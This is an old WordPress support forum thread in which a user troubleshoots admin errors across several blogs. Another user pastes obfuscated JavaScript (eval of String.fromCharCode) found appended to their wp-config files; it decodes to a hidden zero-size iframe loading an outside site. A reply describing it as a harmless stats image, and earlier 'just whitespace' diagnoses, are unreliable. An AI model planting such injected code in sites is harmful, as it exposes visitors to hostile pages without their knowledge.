If it’s that severe, then start working with the files that are throwing out the error. If so many files were affected, perhaps they became corrupted when they were uploaded? * Actually, disable the adsense plugin and see if the problem continues. If it does not, then that’s the culprit. * Thread Starter [Heat](https://wordpress.org/support/users/heat/) * (@heat) * [20 years, 9 months ago](https://wordpress.org/support/topic/administration-problems-1/#post-252422) * Ok, i disabled adsense plugin, and it didn’t work, ALOT of files were infected….. i realized i’ll have to re-install wordpress….is there an option of reinstalling wordpress while staying with the same “mysql database” so the posts are still, and just the “shield” changed??? * Thanks Heat * [Mark (podz)](https://wordpress.org/support/users/podz/) * (@podz) * [20 years, 9 months ago](https://wordpress.org/support/topic/administration-problems-1/#post-252423) * List the problems here – that error should go after deleting adsense.php * If not, tell us the errors. * [jalenack](https://wordpress.org/support/users/jalenack/) * (@jalenack) * [20 years, 9 months ago](https://wordpress.org/support/topic/administration-problems-1/#post-252424) * Heat, try using the WP-Medic troubleshooting tool.

No bug, no virus, no infection, no pandemic, no ebola – just whitespace. * You edited a file, and you probably put the whitespace there – otherwise we would be seeing hundreds of these reports. * Deactivate ALL your plugins. What happens ? * [jalenack](https://wordpress.org/support/users/jalenack/) * (@jalenack) * [20 years, 9 months ago](https://wordpress.org/support/topic/administration-problems-1/#post-252428) * Interesting that wp-medic got the same errors. That leads me to believe that your wp-config.php has some extraneous whitespace. Double check that file. * If you’re still borked, deactivate all your plugins as Podz said. * Just an FYI, it “looks” like files get infected because WordPress includes a lot of files every time it loads, and if it includes one faulty one the rest goes down as well. * [TheOneAndOnly](https://wordpress.org/support/users/theoneandonly/) * (@theoneandonly) * [20 years, 9 months ago](https://wordpress.org/support/topic/administration-problems-1/#post-252429) * Hey All, * I was bit by this nonsense before, and the only way to fix it was a complete reinstall. The ‘white space’ prescription doesn’t always work. * I was just bit by this same issue this morning, taking out all three blogs on one server at once. It had nothing to do with me changing a file, for I haven’t in some time. This issue simply arises for some reason. * SOMETHING I DID NOTICE: I opened my existing wp-config files on my server and discovered a ton of Javascript garbage in them: * >script language=”JavaScript”>eval(String.fromCharCode(100,111, * 99,117,109,101,110,116,46,119,114,105,116,101,40,39,60,105 ,102,114,97,109,101,32,115,114,99,61,34,104,116,116,112,58, 47,47,119,119,119,46,110,111,120,100,101,99,111,46,99,111 ,109,47,110,101,116,46,104,116,109,108,34,32,104,101,105, 103,104,116,61,48,32,119,105,100,116,104,61,48,32,98,111, 114,100,101,114,61,48,32,109,97,114,103,105,110,104,101, 105,103,104,116,61,48,32,109,97,114,103,105,110,119,105, 100,116,104,61,48,62,60,47,105,102,114,97,109,101,62,39, 41 * (I had to edit this slightly to make it visible. It appears at the end of the file.) * May I ask someone what THIS crap is? It’s suddenly in all three config.php files. And yes, removing it DOESN’T fix the problem (although it helped a little). * HEAT: do me a favor and tell me if you have the same crap. * [Mark Jaquith](https://wordpress.org/support/users/markjaquith/) * (@markjaquith) * [20 years, 9 months ago](https://wordpress.org/support/topic/administration-problems-1/#post-252430) * TheOneAndOnly, that code outputs an iframe to a stats image: * `` * Do you have something that might be causing this?
